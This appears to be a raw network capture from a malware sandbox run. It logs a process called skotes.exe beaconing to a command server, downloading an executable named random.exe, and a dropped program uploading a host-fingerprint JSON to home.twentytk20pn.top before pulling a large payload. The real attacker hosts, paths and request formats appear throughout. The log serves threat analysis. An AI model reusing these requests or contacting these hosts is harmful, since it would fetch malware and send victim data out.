Dec 20, 2024 04:12:33.292866945 CET	224	IN	Data Raw: 87 53 d8 e0 49 55 7c c6 fb d5 29 8e c5 db 14 46 99 2f 4f d4 84 e7 9a e7 80 54 44 ef 5d 77 cf bd 13 ac 02 cf ea 6c 9c ae 57 ab c3 4a 6c 24 fc cd 14 99 ed 54 2a ea e9 d8 0d 2b b7 3d 2a 55 a7 8a 16 57 69 70 b4 65 0e 1a 78 6c 52 4a 56 68 50 f5 6d 6a Data Ascii: SIU\|)F/OTD]wlWJl$T+=UWipexlRJVhPmjI`~Sm)WQ>2>PlJmpa}Eh^TT/ZTTP\|gByJR@c&diY]~xP*~W"e}[!x?
Dec 20, 2024 04:12:33.292996883 CET	1236	IN	Data Raw: b1 5e b1 8e bf 3b eb ac 9c df 09 32 13 ce c1 bd d8 0d fa 10 53 8b f3 65 06 94 f1 f9 cd 31 95 7f ee 63 ad 98 d7 74 2c ca 9a 59 bb 4e 42 65 79 54 5a e5 9c f7 f0 4f 59 01 00 55 4a 9e 05 03 1b c2 54 5b f5 63 f4 0f 41 6a 36 2f 85 70 1a 36 fc 2b 7b dc Data Ascii: ^;2Se1ct,YNBeyTZOYUJT[cAj6/p6+{MlOo\[8_)SOfcfDJ(.MWq~,\|u0SIdq8waBk";{LcIf$ZDobTx9C0C
Dec 20, 2024 04:12:33.293064117 CET	1236	IN	Data Raw: e2 e4 75 fa 91 70 34 a0 49 e2 03 f7 56 95 82 b6 03 72 5c 88 73 74 a3 d2 70 55 a1 20 5b 22 ca ca 81 2f f5 c9 55 87 1a 69 69 af 70 9e ba 5f 9c a6 78 0a 4a cc 33 ac 0b bb 20 36 cb f4 b0 d9 06 ed ad b7 9c a2 1e f5 0f e5 e4 0b 5e 44 f3 43 a4 52 47 ec Data Ascii: up4IVr\stpU ["/Uiip_xJ3 6^DCRGFe6eIs$xBZbiMT%i=u;$Dio$J6U'9N1)JaOj+s3%?J1e2_6=q;.p RmUJbiY!x^B\ep8pj9BgQ
Dec 20, 2024 04:12:33.293075085 CET	1236	IN	Data Raw: ae e3 12 1a 07 30 87 58 a5 12 39 50 0a 79 51 40 8e 74 02 1d f4 18 2d df 99 0f 6a fb a5 63 8d 00 2b 3d 44 0c c9 1b 66 f2 00 a6 58 05 c9 eb 88 16 96 1f 0f 4a f2 45 9c e3 20 b0 3b 51 9a 58 1d 45 9e cf de dd 88 10 09 4d 37 4c ca 9f 96 32 3b ad 03 31 Data Ascii: 0X9PyQ@t-jc+=DfXJE ;QXEM7L2;1GYi<*,6Q6FC`/Y7(pTv?A]f~;tou95[+jf<\|ZN_g0k/SlmDM`KPoYqNyIz~xQ.S9{
Dec 20, 2024 04:12:33.412678003 CET	1236	IN	Data Raw: 62 e5 e8 ff 69 34 94 5a 8a 50 0e e7 b9 46 04 a3 ee 75 e4 65 48 ff b9 0f 5f 1a c2 67 98 49 bd 9c a1 55 02 b5 6f f6 20 d0 09 6f 34 80 b0 b5 7a 84 32 23 3c e8 0e 28 a2 c5 10 39 4d ff c4 76 72 d4 a6 65 3a 79 c0 51 7d f6 68 36 ff 7e 66 54 d0 50 a5 08 Data Ascii: bi4ZPFueH_gIUo o4z2#<(9Mvre:yQ}h6~fTP=OYZHO<epcONT%hEeQ!IP:^Bk;X> eIHf~bbx[SMa*; g]ZjxVz2qGH%1,j\ik6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49872	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:42.788058043 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 31 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018146001&unit=246122658369
Dec 20, 2024 04:12:44.111390114 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49875	31.41.244.11	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:44.242618084 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 04:12:45.569150925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:45 GMT Content-Type: application/octet-stream Content-Length: 4485120 Last-Modified: Fri, 20 Dec 2024 01:36:30 GMT Connection: keep-alive ETag: "6764ca1e-447000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 a0 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c9 00 00 04 00 00 f0 69 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 84 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 84 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2pH@iE@ _pts`t PtL(@.rsrc`t\(@.idata pt^(@ 9t`(@euhadjikb(@fyvcfwgtJD@.taggant0"ND@
Dec 20, 2024 04:12:45.569175959 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:45.569185972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:45.569227934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:45.569238901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:45.569325924 CET	1236	IN	Data Raw: c5 6e 34 7a c8 01 ab b6 a4 be 93 67 4a 11 71 3f fe 33 11 9e 4a 7a 32 69 94 f4 45 05 43 3f 54 5c e8 3c a1 c4 41 aa d2 6b d9 be 49 ed 30 b7 eb 8b 1b 78 3a fc cc b6 98 50 b2 89 e0 f4 75 78 18 dd f8 47 fc 2e 31 fb 6b e5 ff 4c 24 94 22 9b 9c 4e 19 71 Data Ascii: n4zgJq?3Jz2iEC?T\<AkI0x:PuxG.1kL$"Nq;N3O?Fwt_$GMy@(\|HHeQ'p(\|"~)_(d;-Y;SxE&4xO2\|^6G7;7T/Us
Dec 20, 2024 04:12:45.569427967 CET	1236	IN	Data Raw: ac 36 a0 e7 fd 7f aa ef b8 be 92 36 9d ba 60 60 a2 11 89 00 1d 47 bb 89 9e ba ca 6f b8 06 cd 03 06 54 4d 22 60 2c 0f 64 e4 50 cf cf 98 f9 b9 bd aa c7 19 7c 5a 63 16 1e 0c b9 fb 21 38 1d 9c df d6 5e 89 e4 52 43 fd 84 43 3f 68 a0 53 a3 9a 01 b4 fb Data Ascii: 66``GoTM"`,dP\|Zc!8^RCC?hS"qs%G$N!2X6czUvZ"A,dLh!p-g({(-$$#nd}f2WKO(By@?!CBG7+})P T%*\5
Dec 20, 2024 04:12:45.569439888 CET	1120	IN	Data Raw: 4a ee 90 c3 48 26 c0 1f c0 00 98 29 58 15 f8 c4 77 2e 18 69 a3 13 80 37 81 43 c7 0d af 2f 8e e2 0d f6 ed 0e a5 6c f9 86 a7 2a 86 08 9e 24 4c 49 31 06 12 e4 db 8e d8 06 97 df 3f 70 b9 99 8d b8 26 8c e1 ff 22 b9 c3 f5 27 35 a3 5f bf d1 1d 54 a4 be Data Ascii: JH&)Xw.i7C/l*$LI1?p&"'5_T)n+"R4G2muQc+;A^w$]#D)bMq!#p$(lb"vS$!k>P$,OUSJQ8l\|{iDf
Dec 20, 2024 04:12:45.569448948 CET	1236	IN	Data Raw: 4b 27 86 72 b1 f1 29 e4 73 c0 ae a0 24 c1 1f 15 c8 c0 a8 5c aa 22 46 2f 1a e1 a5 64 b1 0e 95 15 f2 6c 5c 12 19 ce c7 e4 23 be 32 ce 1a cf 46 7d a7 68 db cc b9 86 96 70 8b 49 d7 af ad 30 8b 63 06 6b f1 ec 24 64 9d 84 2d 46 ad 68 e5 a3 c3 4c 9c 6d Data Ascii: K'r)s$\"F/dl\#2F}hpI0ck$d-FhLm4Fq>.'$@[>2rOz&Djx\.Hr~2>tMpUK`zsxp$q,wK[("c!217'_X,(^*
Dec 20, 2024 04:12:45.569461107 CET	1236	IN	Data Raw: 84 ee d0 e9 d8 fe fc c0 d2 e2 a7 eb 21 33 d0 d1 07 be ca dd d7 9d 0a 69 16 ee fb fe 4c 7e 8e 43 da 5e a0 cf 27 d8 d6 1d c8 14 be 03 db 66 e8 b9 b4 0a c4 fd 84 b1 7f d2 eb bf 45 20 96 e1 f3 40 fa 34 c0 05 7c fa b5 2c 4d c9 ca 3f d0 26 c6 e8 bd ad Data Ascii: !3iL~C^'fE @4\|,M?&"@8/<!a(6LYvI`rs5i4u]5XX_B1vI`vN4^7fdRQm]kTsD/=41$q
Dec 20, 2024 04:12:45.689016104 CET	1236	IN	Data Raw: db e3 19 fc d9 eb a3 6e bb e3 38 1a c1 69 4a ec e6 18 5c 87 84 36 d9 3f a8 73 bd e0 bc 66 bf 7d 55 28 86 d5 fa ff 94 0c a0 66 45 7f 51 69 72 0b da 8e d9 37 ad aa 70 f6 d1 9b 50 77 32 6a d2 03 77 4b 0c 0d 7d 7e 74 3a 10 69 34 98 d8 0a 48 b4 00 30 Data Ascii: n8iJ\6?sf}U(fEQir7pPw2jwK}~t:i4H00NmB)t/hlzH2koXlF"zYz\|-\>o!\|8Q&hAd'ZIFJS;baGO"z,LMABxP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49887	147.45.113.159	80	3900	C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:48.606885910 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 439079 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 36 34 33 36 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734664365", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 20, 2024 04:12:48.726640940 CET	7416	OUT	Data Raw: 41 38 5c 2f 6a 56 65 67 30 47 6e 6f 5c 2f 34 5c 2f 77 44 6f 49 71 47 72 46 56 48 36 66 6a 5c 2f 51 30 47 33 76 5c 2f 77 42 33 38 52 39 52 79 64 76 78 71 53 6d 76 39 30 5c 2f 68 5c 2f 4d 55 46 45 4e 46 4c 35 54 5c 2f 38 38 78 5c 2f 6e 38 4b 53 67 Data Ascii: A8\/jVeg0Gno\/4\/wDoIqGrFVH6fj\/Q0G3v\/wB38R9RydvxqSmv90\/h\/MUFENFL5T\/88x\/n8KSg0p9fl+pHJ2\/H+lR1KzY4HX+X\/wBeoqDop9fkFV6sVGy9x+P+NBoR1Xqb+P8A4D\/Wkfp+P9DQaU+vy\/UiooqOTt+P9KDQjooooOgjk7fj\/So6kk7fj\/So6AI5O341HUr9Px\/xqKg6COTt+P8ASoZe\/wDvf
Dec 20, 2024 04:12:48.726716042 CET	4944	OUT	Data Raw: 2f 7a 78 6a 50 76 51 64 50 76 5c 2f 77 42 33 38 53 47 52 63 66 66 5c 2f 41 4f 57 6e 72 32 78 5c 2f 6e 38 73 2b 6c 52 44 66 5c 2f 48 6e 32 7a 5c 2f 6e 48 70 30 71 78 4c 5c 2f 46 2b 48 39 4b 6a 38 76 33 5c 2f 41 45 5c 2f 2b 76 51 62 55 2b 76 79 5c Data Ascii: /zxjPvQdPv\/wB38SGRcff\/AOWnr2x\/n8s+lRDf\/Hn2z\/nHp0qxL\/F+H9Kj8v3\/AE\/+vQbU+vy\/UjqBu+z\/AD\/n37+1WWXb7ioZO34\/0oOwofP8\/H3+vToP8+3NLu\/5Z9v\/AK30qz5fO\/8A\/X16\/TPb19qqyR\/L\/rPrzn\/P+RQaU+vy\/UPM\/wDtvbqfx\/l0\/GoZG8zrn\/Wf59fehui\/9cv6Cm
Dec 20, 2024 04:12:48.726871014 CET	2472	OUT	Data Raw: 66 77 2b 2b 4e 6e 78 6c 38 4d 2b 4a 5c 2f 68 6a 72 76 5c 2f 43 53 2b 48 64 4e 2b 47 47 69 65 48 72 7a 55 7a 70 65 74 36 4e 35 65 74 57 76 69 6e 78 6e 71 56 7a 5a 4c 5a 36 5c 2f 70 6d 6c 33 30 67 68 73 74 57 30 36 55 33 4b 57 78 74 58 4e 77 59 34 Data Ascii: fw++Nnxl8M+J\/hjrv\/CS+HdN+GGieHrzUzpet6N5etWvinxnqVzZLZ6\/pml30ghstW06U3KWxtXNwY45nkhmVP9KP2Wvg99IDwz+k5TzHjLwp8YeAeEcz4G4oy\/N8w4n4E4z4X4dxlaMcFisrweYYvNsqwOXVqyxtGNbAUa9SVRV4OVCPNzH+cf7SXxW8D\/EP6O1XAcJeJfhTxvxTl\/GfDeOyrA8O8acJcR59hKLlisNm
Dec 20, 2024 04:12:48.726960897 CET	4944	OUT	Data Raw: 5c 2f 58 7a 4b 37 4c 74 78 33 7a 54 61 73 56 45 5c 2f 58 38 50 36 6d 67 31 47 56 42 4a 48 38 76 58 50 34 66 35 36 39 4b 6e 6f 6f 4f 67 70 53 52 5c 2f 4c 78 78 39 65 5c 2f 2b 65 6e 30 5c 2f 56 6c 54 50 39 30 5c 2f 68 5c 2f 4d 56 44 51 64 42 44 79 Data Ascii: \/XzK7Ltx3zTasVE\/X8P6mg1GVBJH8vXP4f569KnooOgpSR\/Lxx9e\/+en0\/VlTP90\/h\/MVDQdBDyx\/zxTP40+pqWTt+P8ASo6Dsp9fkQ\/M3qf5f4ZqNo09wnT\/ADn\/AD0q1Ucnb8f6UDht8\/0RTki\/uD17f0H+PrzVaRXRj\/H+v+T6Hr61fk\/3P5\/\/AK\/X0Apn8P3I\/wDPP0\/DGfbvQb+08vx\/4BQ+f
Dec 20, 2024 04:12:48.726990938 CET	2472	OUT	Data Raw: 63 31 70 64 65 4a 37 54 77 39 65 36 70 6f 31 68 71 56 72 34 7a 36 62 5a 5c 2f 42 62 56 66 45 6d 69 58 5c 2f 6a 6e 34 59 5c 2f 45 44 56 66 42 76 6a 76 34 56 5c 2f 44 48 78 62 70 66 77 35 31 54 34 69 79 36 78 34 59 2b 49 66 78 6d 38 47 36 76 34 37 Data Ascii: c1pdeJ7Tw9e6po1hqVr4z6bZ\/BbVfEmiX\/jn4Y\/EDVfBvjv4V\/DHxbpfw51T4iy6x4Y+Ifxm8G6v478B+DNe0T4hfCz4c6xp\/ia90LQ9Tt9W0BrKTWfDPiK0ufCniXT9J8R2l5ptv8N\/xF3w2WIwOGlxZg6c8zqTpZfVq4XMqWDxs6ePoZXL6rj6mDhga8VmGKwuDU6eIlCVfFYWEZN4mh7T9Jj4EeLc8PmOJp8FZhVhl
Dec 20, 2024 04:12:48.727300882 CET	2472	OUT	Data Raw: 48 51 6d 71 65 64 34 58 48 5a 5a 43 6a 6d 47 43 6f 56 58 68 4b 2b 49 70 51 64 61 74 68 73 56 68 63 4a 55 65 4d 77 32 49 6f 30 5c 2f 32 6b 50 5c 2f 41 41 57 76 5c 2f 61 4a 5c 2f 68 2b 46 6e 77 50 48 31 30 37 34 67 48 2b 58 6a 39 61 6a 50 5c 2f 42 Data Ascii: HQmqed4XHZZCjmGCoVXhK+IpQdathsVhcJUeMw2Io0\/2kP\/AAWv\/aJ\/h+FnwPH1074gH+Xj9ajP\/Ba79o7+H4X\/AALH10n4hn+XxFWvxb8CaovxJ07QNT8M33ha3h8RfGf9nD4EWC+Idc1PTXfxt+1Hrfi3QPhvMv8AZnhvXUbRLe+8F6u\/iO6yuoWds1q+l6VrMzzQQW\/he1z8X\/Fnws8GeCNR8F6nq\/xj+EHiP4
Dec 20, 2024 04:12:48.846446991 CET	4944	OUT	Data Raw: 6a 5c 2f 4d 31 46 4a 48 5c 2f 66 38 41 2b 32 76 2b 65 76 63 5c 2f 35 41 6f 4e 50 72 50 39 57 5c 2f 38 41 74 52 6d 34 5c 2f 77 43 2b 65 5c 2f 38 41 39 66 48 36 56 57 6b 6a 2b 62 37 6d 39 5c 2f 4e 5c 2f 35 36 5c 2f 70 33 5c 2f 78 36 64 71 73 5c 2f Data Ascii: j\/M1FJH\/f8A+2v+evc\/5AoNPrP9W\/8AtRm4\/wC+e\/8A9fH6VWkj+b7m9\/N\/56\/p3\/x6dqs\/d2b\/AJ+P9ZH\/AKj\/ACPzpm35n\/jT\/P5\/n39+Q6YbfP8ARFP512I\/pz\/j2qFf4858z\/pp\/n1z\/wDqq5s+\/wBXf\/P5flyKhWJNyJs2f89cZx\/P\/P0oOqnU\/rv5r+v+BF5f\/fefN\/Tp0\/p7VB
Dec 20, 2024 04:12:48.846676111 CET	7416	OUT	Data Raw: 58 76 37 54 38 53 32 36 33 64 6c 34 6b 76 46 6d 31 75 32 31 50 56 6c 76 6d 31 47 34 37 6c 66 69 68 44 38 44 66 69 37 38 4d 5c 2f 6a 52 64 33 4e 6c 5a 52 65 41 76 42 76 37 54 61 36 62 63 36 6e 34 53 75 50 48 57 6c 74 34 7a 38 59 66 73 7a 66 46 48 Data Ascii: Xv7T8S263dl4kvFm1u21PVlvm1G47lfihD8Dfi78M\/jRd3NlZReAvBv7Ta6bc6n4SuPHWlt4z8YfszfFHwR8N9O1TwjBoniKLXdN1v4geIPDejX9nqekXehfZL+aXxAIdDj1C4h3rXT7Cx3fYrG0s9\/3\/sttDb7+n3vKRN3Qdc9BT7mztL1BHeWtvdxg5EdzBFOgPqFlV1B4HOM8V+8UPCilS8JM08KXn+YvDZnlOd5RHOox
Dec 20, 2024 04:12:48.846723080 CET	2472	OUT	Data Raw: 2f 77 44 50 2b 66 35 39 4d 55 2b 56 76 4c 2b 5c 2f 6d 62 79 5c 2f 39 56 5c 2f 7a 77 4e 78 33 36 65 33 38 71 50 6b 2b 34 5c 2f 33 76 39 48 5c 2f 64 5c 2f 77 43 65 66 78 36 2b 33 53 67 36 42 6e 6b 2b 58 38 2b 49 38 66 36 30 5c 2f 75 76 72 54 50 6e Data Ascii: /wDP+f59MU+VvL+\/mby\/9V\/zwNx36e38qPk+4\/3v9H\/d\/wCefx6+3Sg6Bnk+X8+I8f60\/uvrTPn+RHTenm\/vffrnA9eePzqb+FH87Ykn+q5\/x\/CmeZJ8j\/8AXx+86c+nPrQBW\/20+0TP5X4de\/v\/AE+mTEdnmO\/+j7OsR\/57Dn\/9dWJPO84F\/K\/d\/wCqHlZ6f8vXf8\/xph8z+BI3\/e\/y68UHVS6f
Dec 20, 2024 04:12:48.888566971 CET	27192	OUT	Data Raw: 4e 42 48 36 5c 2f 68 5c 2f 55 30 79 6e 76 31 5c 2f 44 2b 70 70 6c 41 45 63 6e 62 38 66 36 56 48 56 69 6f 5c 2f 4c 39 5c 2f 30 5c 2f 2b 76 51 64 42 48 52 52 52 51 42 48 4a 32 5c 2f 47 6f 36 73 55 31 5c 2f 75 6e 38 50 35 69 67 32 39 5c 2f 2b 37 2b Data Ascii: NBH6\/h\/U0ynv1\/D+pplAEcnb8f6VHVio\/L9\/0\/+vQdBHRRRQBHJ2\/Go6sU1\/un8P5ig29\/+7+JDRRRQUQyLn8f6f5FNqxUT9fw\/qaAIti+n8\/8ajl7\/wC7\/jU1FB0Fem7F9P5\/41NJ2\/H+lR0AV\/Lk9f0H+NFWKj\/5Z\/5\/vVfO\/L+vmdBBhPb8\/wD69Nfr+H9TUtRydvx\/pRzvy\/r5mlPr8v1I6K
Dec 20, 2024 04:12:51.918487072 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 03:12:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 32 52 62 33 52 36 63 54 63 53 68 4d 44 46 4c 72 31 37 33 34 36 36 34 33 37 30 Data Ascii: 2Rb3R6cTcShMDFLr1734664370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49897	147.45.113.159	80	3900	C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:52.264508009 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=2Rb3R6cTcShMDFLr1734664370 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 20, 2024 04:12:53.884578943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 03:12:53 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 20, 2024 04:12:53.884620905 CET	224	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k*}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y26
Dec 20, 2024 04:12:53.884815931 CET	1236	IN	Data Raw: ad 34 aa 23 bf ad 17 e6 2a 10 97 19 92 72 47 53 4c f0 19 5a 9a 9b 85 e6 db f7 f5 55 73 a5 27 d3 b4 54 e4 77 0d e7 83 22 4e c1 4d f8 e4 af 4c 0b ab 1a 54 ad 8d 16 6f af 43 78 89 39 0b bb 8c 4d ba 09 8b e5 dc 59 48 e6 45 66 4b 7d 51 80 62 76 3c 15 Data Ascii: 4#*rGSLZUs'Tw"NMLToCx9MYHEfK}Qbv<2Ul&j6TmZJododF<J%^n?YBWg>{96fr]:,)&2/u\|!\|^X~qV(TkYqK#sgI
